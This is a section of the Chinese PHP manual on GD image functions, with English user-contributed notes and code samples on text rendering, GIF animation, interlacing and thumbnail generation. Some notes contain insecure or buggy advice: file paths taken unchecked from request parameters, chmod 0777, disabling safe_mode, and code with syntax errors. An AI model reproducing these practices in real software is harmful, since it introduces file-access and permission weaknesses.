I found myself in need of an align right function and found one on the imagepstext manual page. I can't imagine I'm the only person who's needed to use this, so here's a slightly modified version that works with imagefttext:

<?
  function align_right($string, $fontfile, $imgwidth, $fontsize){
   $spacing = 0;
   $line = array("linespacing" => $spacing);
   list($lx,$ly,$rx,$ry) = imageftbbox($fontsize,0,$fontfile,$string,$line);
   $textwidth = $rx - $lx;
   $imw = ($imgwidth-10-$textwidth);
   return $imw;
  }
?>
eshenk at comcast dot net
25-Jan-2004 06:05
I wrote a bit of code to gather all the .ttf files in the directory with this script, and randomize them to write text on a header image for my site. The only catch is the font files have to be named 1.ttf, 2.ttf etc etc.

<?php

srand((double)microtime()*1234567); // Start the random gizmo
$image = imagecreatefromjpeg(rand(1,exec('ls *.jpg | wc -l')) . ".jpg"); // Get a background
$font = rand(1,exec('ls *.ttf | wc -l')) . ".ttf"; // Get a font
$textcolor = imagecolorallocate($image,0,0,0); // Set text color

$text1 = "shenko.homedns.org"; // Here is our text

imagettftext($image, 50, 0, 20, 50, $textcolor, $font, $text1); // Write the text with a font

header("Content-type: image/jpeg"); // Its a JPEG
imagejpeg($image,'',90); // Zap it to the browser
imagedestroy($image); // Memory Freeupage

?>
sebastiand at gmx dot de
18-Sep-2003 05:07
After spending the evening with some work on automatically generated images, I had the idea to switch of anti-aliasing (looking, if some font would look better that way), which turned out not to be quite so easy.

Actually you have to use the negative of the desired color to switch of antialising. I include the corresponding line from my code (line split up):

// USE NEGATIVE OF DESIRED COLOR TO SWITCH OF ANTI-ALIASING
ImageFTText ($neuesBild,$fontsize,$fontangle,$TextPosX,$TextPosY,
-$custom_fg,$fonttype,$text,array());
jwilliam at kcr dot uky dot edu
22-Nov-2002 04:22
Thanks for the script!  I modified it to show several fonts that I was wanting to use.  I am using GD-2.0.7, FreeType-2.1.3(text rotation fix,among others), and PHP-4.2.3 and had to include the array information to get it to work.

Code change follows:
$fontfile="/usr/local/fonts/ttf/bookantbd.ttf";
// Waterfall of point sizes to see what Freetype 2's autohinting looks like:
//
for($i=4;$i<=12;$i++){
  ImageFtText($image,$i,0,10,(280+$i*14),$forecolor,$fontfile, bookantbd . $i . ". " . $string, array("linespacing" => 1.0));
}

John
ben at tNOSPAManjNOSPAMo dot cnospamordots dot om
08-Aug-2002 03:59
If you're interested in turning off FreeType hinting, search for the following line in the gd source (gdft.c):
     err = FT_Load_Glyph (face, glyph_index, FT_LOAD_DEFAULT);
and replace it with
     err = FT_Load_Glyph (face, glyph_index, FT_LOAD_NO_HINTING);

Recompile GD, and vola: beauteous antialiasing.
add a note add a note

后退 | 起点 | 前进
imageftbbox | 上一级 | imagegammacorrect


imagegammacorrect

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

imagegammacorrect -- 对 GD 图像应用 gamma 修正

说明

bool imagegammacorrect ( resource image, float inputgamma, float outputgamma )

imagegammacorrect() 函数用给定的输入 gamma 值 inputgamma 和输出 gamma 值 outputgamma 对一幅 GD 图像流（image）应用 gamma 修正。

add a note add a note User Contributed Notes
brian dot duncan at fife dot co dot uk
26-Jan-2002 09:46
Just thought I'd add how I used the gamma correction function (seeing as no-one had done so previously).  works great.

I used a form which has a parameter $GAMMA, so I usually type in something like 1.6

$image = ImageCreateFromJpeg ( "pictures/".$PICTURE2 ) ;
if ($GAMMA != "")
{
   $GammaFloat = (double) $GAMMA ;
   imagegammacorrect ($image, 1.0, $GammaFloat ) ;
       // now save the file
   imagejpeg ( $image, "pictures/"."$PICTURE2", 90 ) ;
}
add a note add a note

后退 | 起点 | 前进
imagefttext | 上一级 | imagegd2


imagegd2

(PHP 4 >= 4.1.0, PHP 5)

imagegd2 -- 将 GD2 图像输出到浏览器或文件

说明

bool imagegd2 ( resource image [, string filename [, int chunk_size [, int type]]] )

imagegd2() 将一个 GD 图像输出到 filename。image 参数是由 imagecreatetruecolor() 函数返回的。

filename 参数为可选项，如果为空，则原始图像流会被直接输出。

可选的 type 参数可以是 IMG_GD2_RAW 或 IMG_GD2_COMPRESSED。默认为 IMG_GD2_RAW。

注: 可选的 chunk_size 和 type 参数自 PHP 4.3.2 起可用。

注: GD2 格式一般是用来加载图像中的一部分时更快。注意 GD2 格式只能用于兼容于 GD2 的应用程序。

注: 本函数需要 GD 2.0.1 或更高版本。

参见 imagegd()。

add a note add a note User Contributed Notes
mark at teckis dot com
16-Apr-2003 09:33
yes, the gd2 file format does improve the speed of image creations as the data-setup is designed to be native for the GD function - ie, the image doesn't have to be converted to a usable format prior to processing.

you may also note that the newer gd2 format creates much smaller size files than the older imagegd function, certainly for images involving chunks of single colours anyway. you'll probably find this function most useful for saving overlay images or background images used in larger image creation scripts.

to read a ping or jpeg image (.png / .jpg) and save a .gd2 version to server...

$img = $_GET['img'];
if(file_exists($img))
   {
   $dim = getimagesize($img);
   $cr = ($dim[2] < 4) ? ($dim[2] < 3) ? ($dim[2] < 2) ? NULL : imagecreatefromjpeg($img) : imagecreatefrompng($img) : Null;
   if($cr !== NULL)
         {
         imagegd2($cr,substr($img,0,strrpos($img,'.')).'.gd2');
         }
   }

should save a copy with the same filename and directory using extension .gd2 - which can then be nicely and swiftly read using either imagecreatefromgd2 or imagecreatefromgd2part
mysterium at gmx _spamsux_ dot ch
11-Feb-2003 06:35
A little more information: http://www.boutell.com/gd/manual2.0.11.html#gdImageGd2

For me, the gd2 format is intended for faster loading and writing. I didn't test this yet.
add a note add a note

后退 | 起点 | 前进
imagegammacorrect | 上一级 | imagegd


imagegd

(PHP 4 >= 4.1.0, PHP 5)

imagegd -- 将 GD 图像输出到浏览器或文件

说明

bool imagegd ( resource image [, string filename] )

imagegd() 将一个 GD 图像输出到 filename。image 参数是由 imagecreatetruecolor() 函数返回的。

filename 参数为可选项，如果为空，则原始图像流会被直接输出。

注: GD 格式一般是用来加载图像中的一部分时更快。注意 GD 格式只能用于兼容于 GD 的应用程序。

参见 imagegd2()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagegd2 | 上一级 | imagegif


imagegif

(PHP 3, PHP 4, PHP 5)

imagegif -- 以 GIF 格式将图像输出到浏览器或文件

说明

bool imagegif ( resource image [, string filename] )

imagegif() 从 image 图像以 filename 为文件名创建一个 GIF 图像。image 参数是 imagecreatetruecolor() 函数的返回值。

图像格式为 GIF87a。如果用了 imagecolortransparent() 使图像为透明，则其格式为 GIF89a。

filename 参数为可选，如果省略，则原始图像流将被直接输出。通过 header() 发送 Content-type: image/gif 可以使 PHP 脚本直接输出 GIF 图像。

注: 不过从 GD 库 1.6 起所有的 GIF 支持都移除了，如果使用这些 GD 库时本函数不可用。希望在 2004 年中期能够发布支持 GIF 的 GD 库。更多信息见 GD Project 站点。

以下代码段通过自动检测 GD 支持的图像类型来写出移植性更好的 PHP 程序。用更灵活的代码替代了原来的 header("Content-type: image/gif"); imagegif($im);：

<?php
if (function_exists("imagegif")) {
    header("Content-type: image/gif");
    imagegif($im);
} elseif (function_exists("imagejpeg")) {
    header("Content-type: image/jpeg");
    imagejpeg($im, "", 0.5);
} elseif (function_exists("imagepng")) {
    header("Content-type: image/png");
    imagepng($im);
} elseif (function_exists("imagewbmp")) {
    header("Content-type: image/vnd.wap.wbmp");
    imagewbmp($im);
} else {
    die("No image support in this PHP server");
}

注: 自 PHP 3.0.18 和 4.0.2 起可以用 imagetypes() 函数代替 function_exists() 来检查是否支持某种图像格式：

<?php
if (imagetypes() & IMG_GIF) {
    header ("Content-type: image/gif");
    imagegif ($im);
} elseif (imagetypes() & IMG_JPG) {
    /* ... etc. */
}

参见 imagepng()，imagewbmp()，imagejpeg() 和 imagetypes()。

add a note add a note User Contributed Notes
joconoco at yahoo dot com
03-Feb-2006 09:12
i havent worked with it, yet. but for the discussion about animated gifs, this might help, too:
http://ffmpeg-php.sourceforge.net/apidoc.php
fieldy
31-Jan-2006 07:54
For using the new animated gif functions of gd you can build in some functions in php. I took the patch from http://hyvatti.iki.fi/~jaakko/sw/. But it's a patch on php 5.0.2. I made it on php 5.1.2.
On http://www.linuxforhomies.be/view_artikel.jsp?id=10 you can see how to do it. Sorry that it's in dutch, but I think it's understandable.

It adds following functions:
int imagegifanimbegin(int im [, string filename [, int GlobalColormap [, int Loops]]]);
int imagegifanimadd(int im [, string filename [, int LocalColormap [, LeftOfs [, int TopOfs [, int Delay [, int Disposal [, int previm]]]]]]]);
int imagegifanimend([string filename]);
cascade at mylifesucks dot de
29-Nov-2005 08:02
I would rather use gifsicle ( http://www.lcdf.org/gifsicle/ ) instead of convert. It runs much faster with big animations. I got large animations with over 500 frames rendered where convert was killed by my system because of memory consumption. And it contains pretty well optimization.

A sample gifsicle usage (not much optimized):
<?
// Sample gifsicle usage to create a scrolling text

$gifsicle = "/usr/local/bin/gifsicle"; # http://www.lcdf.org/gifsicle/
$time = time();
for ($rend_frame = 0; $rend_frame <= 26; $rend_frame++) {
   $im = @imagecreatetruecolor(300, 20);
   $background = imagecolorallocate($im, 0, 0, 100);
   $red = imagecolorallocate($im, 255, 0, 0);
   $filename = "/tmp/giftest_".$time."_".str_pad($rend_frame, 10, "0", STR_PAD_LEFT).".gif";
   $framefiles[] = $filename;
   imagestring($im, 3, ($rend_frame * 15)-80, 3, "Animation rox", $red);
   imagegif($im,$filename);
   imagedestroy($im);
};
$outfile = "/tmp/giftest_".$time.".gif";
$cmd = "$gifsicle --loop -O1 --delay 25 /tmp/giftest_".$time."*> $outfile";
exec($cmd, $out, $err);
foreach ($framefiles as $framefile) {
   if (file_exists($framefile)) unlink($framefile);
};
header('Content-type: image/gif');
header('Content-Transfer-Encoding: binary');
header('Content-Disposition: inline; filename=test.gif');
header('Content-Length: '.@filesize($outfile));
readfile($outfile);
unlink($outfile);
?>

Or get patches from http://hyvatti.iki.fi/~jaakko/sw/ to be able to do it all inside php...
Leigh Purdie
04-Jul-2005 08:17
Simple animated-gif hack (requires ImageMagick):

<html><body>
<?php
       $icount=0;
       for($count=0;$count<40;$count++) {
               $im=imagecreate(200,200);
               imagecolorallocate($im,0,0,255);
               $white=imagecolorallocate($im,255,255,255);
               imagerectangle($im,$count,$count,200-$count,200-$count,$white);
               $icount++;
               $tcount=sprintf("%04d",$icount);
               imagegif($im,"/tmp/test-$tcount.gif");
               imagedestroy($im);
       }
       exec("/usr/bin/convert -delay 2 -loop 10 /tmp/test*.gif /var/www/html/Tests/Test-Anim.gif");
?>
<img src="/Tests/Test-Anim.gif">
</body>
</html>
Lauri Harpf
24-Jun-2005 12:25
Using <IMG SRC="image.php"> to dynamically generate images is a bit problematic regarding cache. Unless caching is activated, IE seems to get confused about the type of the image when attempting to save it. A .GIF created in the above way causes the browser to suggest saving the image with .BMP, not .GIF.

A solution is to activate cache with session_cache_limiter('public'); in "image.php", after which IE will correctly save as .GIF. If you do not want the cache to block any changes in the dynamic image, make sure that the SRC keeps changing with every reload. Something like "image.php/" . mt_rand(1,100000) . ".gif" seems to work well.

Might be trivial to some, but I spent a couple of hours figuring out why IE always wants to save my dynamic .GIF's as .BMP's.
jemore at nospam dot m6net dot fr
23-Nov-2003 02:24
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
tom et lenderlab dit com
06-Dec-2002 05:08
The rgb2gif utility included in giflib can be used for fast and easy gif output with any version of GD
http://ietpd1.sowi.uni-mainz.de/cgi-bin/man2html?rgb2gif

use either the rgboutput or the rgboutput_truecolor functions, depending on your GD version/style of image you're working with:

<?
$x=40;
$y=40;

//make a simple image with some text
$im = imagecreate($x, $y);
$bg = imagecolorallocate($im, 0,0,0);
     imagefill($im, 0,0, $bg);

$red=imagecolorallocate($im, 255, 0, 0);
   imagestring($im, 1, 2, 8, "testing", $red);

//output the 24 bit rgb-formatted image to file
$f = fopen("image.rgb", "w");
fwrite($f, rgboutput($im));
imagedestroy($im);

//load that file into rgb2gif and capture the output
$status = `rgb2gif -1 -s $x $y image.rgb`;
$f = fopen("test.gif", "w");
fwrite($f, $status);

function rgboutput($im) {
   $x = imagesx($im);
   $y = imagesy($im);
   $output="";
   for($i=0;$i<$y;$i++) {
       for($j=0;$j<$x;$j++) {
           $c=ImageColorAt($im, $j, $i);
           $c = imagecolorsforindex($im, $c);
           $c = array_map("chr", $c);
           $output.=$c['red'].$c['green'].$c['blue'];
       }
   }
   return $output;
}

function rgboutput_truecolor($im) {
   $x = imagesx($im);
   $y = imagesy($im);
   $output="";
   for($i=0;$i<$y;$i++) {
       for($j=0;$j<$x;$j++) {
           $rgb=ImageColorAt($im, $j, $i);
           $r = chr(($rgb >> 16) & 0xFF);
           $g = chr(($rgb >> 8) & 0xFF);
           $b = chr($rgb & 0xFF);
           $output.=$r.$g.$b;
       }
   }
   return $output;
}
?><img src="test.gif">
polone at townnews dot com
04-Apr-2002 03:40
read also RFC2557: http://www.ietf.org/rfc/rfc2557.txt
For handling inline images in email.
----

I've been playing around with the "data" URL scheme as proposed by RFC 2397 which states how to perform inline, bas64 encoded images. A number of browsers support this format from some of my tests and would be an interesting way of removing overhead from multiple HTTP connections. Basically, the IMG tag would be:

<IMG SRC="/-/data:image/gif;base64,R0lGODdhMAAwAPAAAAAAAP///ywAAAAAMAAw AAAC8IyPqcvt3wCcDkiLc7C0qwyGHhSWpjQu5yqmCYsapyuvUUlvONmOZtfzgFz ByTB10QgxOR0TqBQejhRNzOfkVJ+5YiUqrXF5Y5lKh/DeuNcP5yLWGsEbtLiOSp a/TPg7JpJHxyendzWTBfX0cxOnKPjgBzi4diinWGdkF8kjdfnycQZXZeYGejmJl ZeGl9i2icVqaNVailT6F5iJ90m6mvuTS4OK05M0vDk0Q4XUtwvKOzrcd3iq9uis F81M1OIcR7lEewwcLp7tuNNkM3uNna3F2JQFo97Vriy/Xl4/f1cf5VWzXyym7PH hhx4dbgYKAAA7" ALT="Larry">

Something like that. Note also that I start the URI with "/-/" before the rest of the data scheme spec. If you don't start it with this, it won't work in a lot of the different browsers I tested (such as IE). Note this is useful for very small images only (as most browsers appear to have a limitation on the size of HTML element data of 1024). Browsers where this syntax worked that I tested are the following:

IE 6.x (windows)
Mozilla 0.97+ (linux)
Opera 5, 6 (windows)
Netscape 4.7+ (mac, windows)
IE 5 (macintosh)

This should work for other image types as well, such as PNG. JPEG files aren't really suggested (usually, these files are too large). BTW - there is no advantage to this method if the image will appear more than ONCE in the page because you will be transmitting the same data multiple times as opposed to just once (most browsers realize that already downloaded data that has multiple references only requires one HTTP call).

Consider using this method if you want to make a single PHP program that outputs both text and an image AND you want to make only on HTTP call. Cheers.
kremlin at home dot com
27-Feb-2001 01:45
Animated GIFs as well as transparent GIFs qualify as GIF89a's and you should use ImageColorTransparent().
danny at arbitrary dot com
23-Aug-2000 05:31
If you want to have a page with dynamic text and a dynamic image based on one form, use two php's.  One is the page which has a call to the other in an img tag:
<img src="myImage.php?name=value...
david at hooshla dot com
29-Apr-2000 10:45
This is how you load and display an image file:

<?
Header("Content-Type: image/gif");
$fn=fopen("./imagefile.gif","r");
fpassthru($fn);
?>

Note that there are no new-lines in the content type header.
till at comets dot de
04-Nov-1999 12:48
ImageGIF() outputs an image created by PHP. Since php cannot create animated or multiple images in a single file
it cannot handle animated GIFs.
To read GIF images use the function ImageCreateFromGIF.

--marcus

imagegif doesn't seem to work on "animated" gifs. .-(
add a note add a note

后退 | 起点 | 前进
imagegd | 上一级 | imageinterlace


imageinterlace

(PHP 3, PHP 4, PHP 5)

imageinterlace -- 激活或禁止隔行扫描

说明

int imageinterlace ( resource image [, int interlace] )

imageinterlace() 打开或关闭隔行扫描的比特标记。如果 interlace 为 1 则图像为隔行扫描的，如果 interlace 为 0 则图像为非隔行扫描的。

如果设定了隔行扫描比特标记而图像使用 JPEG 格式，则图像被创建为渐进式 JPEG。

本函数返回图像中是否设定了隔行扫描比特标记。

add a note add a note User Contributed Notes
julien / at / theoconcept.com
30-Jan-2006 06:33
This function is useful when working with Ming, as SWFBitmap constructor will use a NON INTERLACED Jpeg file, so you have to use imageinterlace(0);
mangobrain.co.uk
17-Jan-2006 06:03
dr_snapid's comment that "the server sends every Nth line" is not entirely true. A web server need not know anything about the contents of the file it is sending; its job is simply to send the data. Rather, the image is created in such a way that the data corresponding to "every Nth line" appears at the beginning of the file, with the details becoming able to be filled in as more of the file is received by the browser. In PHP's case, the data may have been generated dynamically instead of pulled from a file, but this does not change the fact that it is the data itself that is different, not the manner in which it is sent.*

In fact, with JPEG, it is less "every Nth line", and more "every Nth pixel", where N is gradually decreased, resulting in a grid that gets progressively more fine-grained as the data is received (hence the appearance of a low res image becoming more detailed). The browser basically estimates what goes in the gaps between pixels, probably by simply blending between the colours, whilst the "real" data continues arriving. This is a fundamentally different method for encoding the data when compared to non-progressive JPEGs, and coupled with the format's other compression techniques, may indeed result in a different file size.

*Can you imagine how much more buggy the Web would be if servers were expected to send different file types using different algorithms, and browsers were expected to be able to receive every one of them?
dr_snapid at mxm dot com dot au
22-Nov-2005 12:16
Interlacing doesnt store another image, it simple changes the order in which the images lines are sent and rendered. The server sends every Nth line, reaches the end, then goes back to the start, reading the lines in between.

After each pass the browser displays the downloaded lines, plus filles the lines not yet received the same, but with each pass the gaps being filled get smaller and the image sharpens. After several passes every line has been read, and the browser has rendered the image in full detail.

Hope that makes sense, it does explain why there should not really be any difference in filesize, so I cant explain why some people have observed a file size difference.

As I understand it, there is only 1 bit in the file which says if its interlaced or not, and the server and client (browser) just handle it differently if it is set to 1.
thomas dot brandl at barff dot de
15-Jul-2005 03:28
Set imageinterlace() to 0 if you need to load the generated images in Flash. Flash does not support progressive JPEGs
drake127
12-Jun-2005 06:51
Interlancing works also with PNG files but it increase filesize (from 14.4M to 17.7M).
mironto at mironto dot sk
19-Nov-2004 10:17
just to add my 5 cents on the progressive principle of jpeg: there are no several lowres images stored in jpeg along with original picture, the only thing altered is the order of "pixels". in jpeg the image is divided in areas 8x8 pixels, so instead of linear order of pixels (row-by-row), first there is one pixel form each 8x8 area included in the begining of the image data stream, so when the browser recieves all 8x8 area pixels, it can display "pixelate" image and as soon as it recieves more data, the browser can add more pixels and "sharpen" the image.
manuel.warum at edu.uni-klu.ac.at
16-Apr-2004 01:41
About MichaelSoft's note "Imageinterlace($im, 1) creates a JPG which is first loaded completely before showing anything":

Actually, that's not completely true.
This only happens with Internet Explorer (any version, for the time being) as it doesn't seem to support progressive displaying and rather shows the image, when it's 100% done with loading. Other browsers (Mozilla, Mozilla Firefox, Opera, Konqueror, etc.) do their job as they're supposed to do: Displaying a very low-res image, then overlaying a midlow-res image (while loading), and then displaying more and more details.
ben dash xo at dubplates dot org
19-Mar-2004 10:25
There is a bug in Microsoft Internet Explorer (at least at present) that means that often, a progressive/interlaced JPEG will actually NOT show at all whilst loading, suddenly appearing only when the entire picture has loaded. A regular NON-interlaced/NON-progressive JPEG will display line by line as it loads, which paradoxically gives the illusion that it's loading faster. MSIE definitely has this one backwards!!

This behaviour is not apparent in other browsers such as Mozilla/FireFox - in these browsers, the image loads progressively, as it should.
PHPProgrammer
24-Nov-2003 10:21
Using the interlace-option reduces the filesize! (doesnt really match with the idea that an additional low-res-image is stored)
add a note add a note

后退 | 起点 | 前进
imagegif | 上一级 | imageistruecolor


imageistruecolor

(PHP 4 >= 4.3.2, PHP 5)

imageistruecolor -- 检查图像是否为真彩色图像

说明

bool imageistruecolor ( resource image )

imageistruecolor() 检查 image 图像是否为真彩色图像。

注: 本函数需要 GD 2.0.1 或更高版本。

参见 imagecreatetruecolor()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imageinterlace | 上一级 | imagejpeg


imagejpeg

(PHP 3 >= 3.0.16, PHP 4, PHP 5)

imagejpeg -- 以 JPEG 格式将图像输出到浏览器或文件

说明

bool imagejpeg ( resource image [, string filename [, int quality]] )

imagejpeg() 从 image 图像以 filename 为文件名创建一个 JPEG 图像。image 参数是 imagecreatetruecolor() 函数的返回值。

filename 参数为可选，如果省略，则原始图像流将被直接输出。要省略 filename 参数而提供 quality 参数，使用空字符串（''）。通过 header() 发送 Content-type: image/jpeg 可以使 PHP 脚本直接输出 JPEG 图像。

注: JPEG 支持仅在 PHP 与 GD-1.8 或更高版本一起编译时可用。

quality 为可选项，范围从 0（最差质量，文件更小）到 100（最佳质量，文件最大）。默认为 IJG 默认的质量值（大约 75）。

如果想输出渐进式 JPEG，需要用 imageinterlace() 函数将隔行扫描比特置位。

参见 imagepng()，imagegif()，imagewbmp()，imageinterlace() 和 imagetypes()。

add a note add a note User Contributed Notes
your [dot] sheepy [at] gmail [dot] com
03-Apr-2006 04:34
Regarding Carl Gieringer's comment, it is possible to have PHP files in utf-8.  Just make sure the editor does not output BOM, which is unnecessary in utf-8 anyway.

Except for any editors from Microsoft, most programmer's editors that supports utf allows you to surpress BOM.
doobd at doobd dot com
16-Feb-2006 01:48
in addition to my THUMBNAIL GENERATOR script:

i forgot to say, src path must not be http:// but server path (e.g. for some linux server: src=/home/users/user1/public_html/images/image1.jpg) or relative path, as in example in script (src=test.jpg, src=../test.jpg, src=pictures/test.jpg...)
15-Feb-2006 11:44
THUMBNAIL GENERATOR

Hope someone will find this usefull... save it to thumb.php and use it for on-the-fly thumbnails generating

e.g.
<img src= "thumb.php?src=pic.jpg&wmax=150&hmax=100&quality=90&bgcol=FF0000"> </img>

<?php
   // by dooobd@NOSPAM.doobd.com
   //
   // proportional on-the-fly thumb generator from JPG images
   //
   // usage example:
   // <img src= "thumb.php?src=pic.jpg&wmax=150&hmax=100&quality=90&bgcol=FF0000"> </img>
   //
   // parameters:  src = source image
   //              wmax = max width
   //              hmax = max height
   //              quality = JPG quality of generated thumb - optional.
   //                        if not specified, quality=90
   //              bgcol = if specified, allways generates exact wmax x hmax sized thumb,
   //                      with bacground color bgcol and centered source image
   //
   // note: if source image is smaller than desired thumbnail, it will not be resized!

   header("Content-type: image/jpeg");
   $source = imagecreatefromjpeg($src);
   $orig_w=imagesx($source);
   $orig_h=imagesy($source);

   if ($orig_w>$wmax || $orig_h>$hmax)
   {
       $thumb_w=$wmax;
       $thumb_h=$hmax;
       if ($thumb_w/$orig_w*$orig_h>$thumb_h)
           $thumb_w=round($thumb_h*$orig_w/$orig_h);
       else
           $thumb_h=round($thumb_w*$orig_h/$orig_w);
   } else
   {
       $thumb_w=$orig_w;
       $thumb_h=$orig_h;
   }
   if (!@$bgcol)
   {
       $thumb=imagecreatetruecolor($thumb_w,$thumb_h);
       imagecopyresampled($thumb,$source,
                           0,0,0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);
   }
   else
   {
       $thumb=imagecreatetruecolor($wmax,$hmax);
       imagefilledrectangle($thumb,0,0,$wmax-1,$hmax-1,intval($bgcol,16));
       imagecopyresampled($thumb,$source,
                           round(($wmax-$thumb_w)/2),round(($hmax-$thumb_h)/2),
                           0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);
   }
   if (!@$quality) $quality=90;
   imagejpeg($thumb,"",$quality);
   imagedestroy($thumb);
?>
08-Feb-2006 02:21
This extension allows to save frames from movie files as jpeg.

http://ffmpeg-php.sourceforge.net
valentinp at gmail dot com
07-Jan-2006 10:41
For all those people getting the

"Warning: imagejpeg(): Unable to access data ..."

I solved it by chmodding the directory you're writing to, to 0777.

NO fopen() needed!

Regards,
Valentin
03-Jan-2006 09:59
Hi

I had similar problem with safe mode. My solution is:

before imagejpeg(), touch() etc.
write:
ini_set(safe_mode,Off);
and after everything:
ini_set(safe_mode,On);

strange, but it works
Chears2All
aerowinx at hotmail dot de
22-Dec-2005 07:26
If imagejpeg brings up this warning:

Warning: imagejpeg(): Unable to access data ...

it could be a problem with "Safe Mode". A solution could be to touch the new file before, like:

touch($newfile);
imagejpeg($image_p, $newfile, 100);
Kenneth Keiter
18-Dec-2005 12:59
So.. after messing around with this beast of a function for hours, I discovered that it DOES NOT preserve the resource it is using the create the image, nor do imagepng() or imagegif(). By this I mean that you can not run two imagejpeg(), imagepng() or imagegif() calls on the same resource. Another possibly undocumented quirk... :-(
I_have at no_email_for_spam dot com
03-Nov-2005 01:01
The behaviour of not being allowed to write the file is based on a change in latest release, see http://www.php.net/ChangeLog-4.php#4.4.1

- Added missing safe_mode checks for image* functions and cURL.
- ...

Some people (including me) consider this new behaviour as broken, see also http://bugs.php.net/bug.php?id=35060 - please vote for/against the bug if you feel same/different.

Workaround is e.g. a touch($filename); before the imagejpeg($im,$filename);
moron at industrial dot org
03-Nov-2005 12:12
Please note that there is a bug report open for the currently broken safe_mode behaviour on this function:

http://bugs.php.net/?id=35060

According to the PHP staffer who has responded the docs are wrong (I don't agree but I'm also not their employee).

The work around is to use touch() (or any other file system function that can do this) to create the file first before using imagejpeg().
mitnick at cc dot lv
02-Nov-2005 06:26
i had the same problem as tobylewis had

when i tried to call imagejpeg(), width porperly parameters given it displayed
imagejpeg(): Unable to access usr/home/public_html/pic1.jpg

imho if not correctly configured server this function is not allowed to create the file on disk.

the workaround however is if you create the file using some other function, before call imagejpeg(). something like this

<?
$fh=fopen($file_name_dest,'w');
fclose($fh);
imagejpeg($dest,$file_name_dest, $quality);
?>
mbailey [at] aethon [dt] co [dt] uk
19-Sep-2005 04:46
>>Bram Van Dam's

note below is missing "()" from the ob_end_clean call:

ob_end_clean; // stop this output buffer

should read

ob_end_clean(); // stop this output buffer

You can then use this for adding content-length headers (for example flash requires a content length in advance to create loaders)

e.g.

...

ob_start(); // start a new output buffer
   imagejpeg( $newimage, "", 90 );
   $ImageData = ob_get_contents();
   $ImageDataLength = ob_get_length();
ob_end_clean(); // stop this output buffer

header("Content-type: image/jpeg") ;
header("Content-Length: ".$ImageDataLength);
echo $ImageData;

...
(enVide neFelibata) envide at tugamail dot com
28-Aug-2005 10:32
Every script I was writing was giving me an error.
When writing the following code I was able, as a client, to browse the website and save the images (Save image as...) with IE. Yet with Firefox and family the browser tried to save them as 'script_name.php' instead of 'image_name.jpg'.

<?php
   header("Content-Type: image/jpeg");
   imagejpeg($image,'',100); // Output to Browser
?>

After trying to save all the watermarked images or saving the image as 'temp.jpg' before outputing it to user, I've read this topic on BugZilla that advised to add the following header:

<?php
   header("Content-Type: image/jpeg");
   header("Content-Disposition: attachment; filename=image_name.jpg"); // THIS ONE
?>

Sorry about the English.
Bram Van Dam
20-Aug-2005 03:50
If you wish to capture the jpg data into a variable, rather than outputting it or saving it into a file (perhaps so you can put it in a database), you might want to consider output buffering. Something along these lines should work:

<?php
ob_start(); // start a new output buffer
   imagejpeg( $newimage, NULL, 100 );
   $ImageData = ob_get_contents();
ob_end_clean; // stop this output buffer
?>
John Luetke <johnl1479 gmail com>
06-Aug-2005 08:53
Rewrote the manual example into this function for creating a thumbnail image:

function thumbnail_jpeg ($original, $thumbnail, $width, $height, $quality) {
  list($width_orig, $height_orig) = getimagesize($original);
  if ($width && ($width_orig < $height_orig)) {
   $width = ($height / $height_orig) * $width_orig;
  }
       else {
   $height = ($width / $width_orig) * $height_orig;
  }
  $image_p = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($originial);
  imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
  imagejpeg($image_p, $thumbnail, $quality);
  return;
}
tobylewis at mac dot com
24-Jun-2005 10:04
After trying to get imagejpeg (and imagegif and imagepng) to save an image to a file for some time, it finally dawned on me that perhaps the function would not automatically create the file named in the second parameter.

I then used fopen to create a file prior to the call to imagejpeg and the image was successfully written to the file.  It did not seem to matter if fclose was called before or after the call to imagejpeg.

I also tried to create a file outside of php and use it as the target for output, but this initially failled because of permissions.  Once I set all write permissions on this also accepted output from imagejpeg.
ghokanso at cs dot ndsu dot edu
09-Jun-2005 12:54
When displaying an image using imagepng or imagejpeg, you may want/need to call "header("Content-type: image/jpeg")" before the imagepng and imagejpeg functions.
It appears that some servers/browers are striping out the default header so the image is not rendered and appears as raw data.
(Firefox 1.02+ and OSX Safari for example)
wojteksw at go2 dot pl
04-Apr-2005 06:37
I have changed one line in the script of Kokesh
25-Jun-2004 06:42 listed above, and now it generates better quality thumbnails.
You have to change function imagecopyresized() to imagecopyresampled()
nerdgirl at HATE_SPAMnerdgirl dot dk
28-Feb-2005 04:31
Here is an example of uploading an image, changing its size (width/height) and saving it to a new file. It uses ftp to upload both the original and the resized image. This is usefull in situations where ftp is your only option.

It took me a while to figure it out, so I hope this will save someone else a lot of time :-)

The following assumes that the image is uploaded from a form with a filefield called 'gfx'. I have left out all error checking to keep it simple, so remember to modify the code, to suit your needs.

<?php
$new_width = 100;
$new_height = 200;
$tmp_image=imagecreatefromjpeg($_FILES['gfx']['tmp_name']);
$width = imagesx($tmp_image);
$height = imagesy($tmp_image);
$new_image = imagecreatetruecolor($new_width,$new_height);
ImageCopyResized($new_image, $tmp_image,0,0,0,0, $new_width, $new_height, $width, $height);
//Grab new image
ob_start();
ImageJPEG($new_image);
$image_buffer = ob_get_contents();
ob_end_clean();
ImageDestroy($new_image);
//Create temporary file and write to it
$fp = tmpfile();
fwrite($fp, $image_buffer)) {
rewind($fp);
//Upload new image
$conn_id = ftp_connect('ftp.example.tld');
ftp_login($conn_id,'user','pass');
ftp_fput($conn_id,'path/to/new/file.jpg', $fp, FTP_BINARY);
fclose($fp);
?>
r dot duclos at chello dot fr
11-Feb-2005 10:41
Hy, here is a little code for generate a thumbnail, very good quality. Enjoy it !

<?php

function miniature($pict, $dest_pict){

   $handle = @imagecreatefromjpeg($pict);

   $x=imagesx($handle);
   $y=imagesy($handle);

       if($x > $y){
               $max = $x;
               $min = $y;
       }
       if($x <= $y){
               $max = $y;
               $min = $x;
       }

//$size_in_pixel : Size max of the label in pixel.  The size of the picture being
//proportional to the original, this value define maximum size
//of largest side with dimensions of the picture. Sorry for my english !

